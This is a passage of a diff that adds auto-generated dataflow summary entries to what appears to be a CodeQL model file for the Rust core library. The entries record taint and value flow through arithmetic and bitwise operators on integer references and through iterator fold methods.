crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::borrow::Borrow>::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::borrow::BorrowMut>::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIterator>::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIterator>::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -24,6 +207,7 @@ extensions: - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::nth", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -34,6 +218,132 @@ extensions: - ["lang:core", "<&str as crate::str::pattern::Pattern>::as_utf8_pattern", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&str as crate::str::pattern::Pattern>::into_searcher", "Argument[0]", "ReturnValue.Field[crate::str::pattern::StrSearcher::haystack]", "value", "dfc-generated"] - ["lang:core", "<&str as crate::str::pattern::Pattern>::into_searcher", "Argument[self]", "ReturnValue.Field[crate::str::pattern::StrSearcher::needle]", "value", "dfc-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", 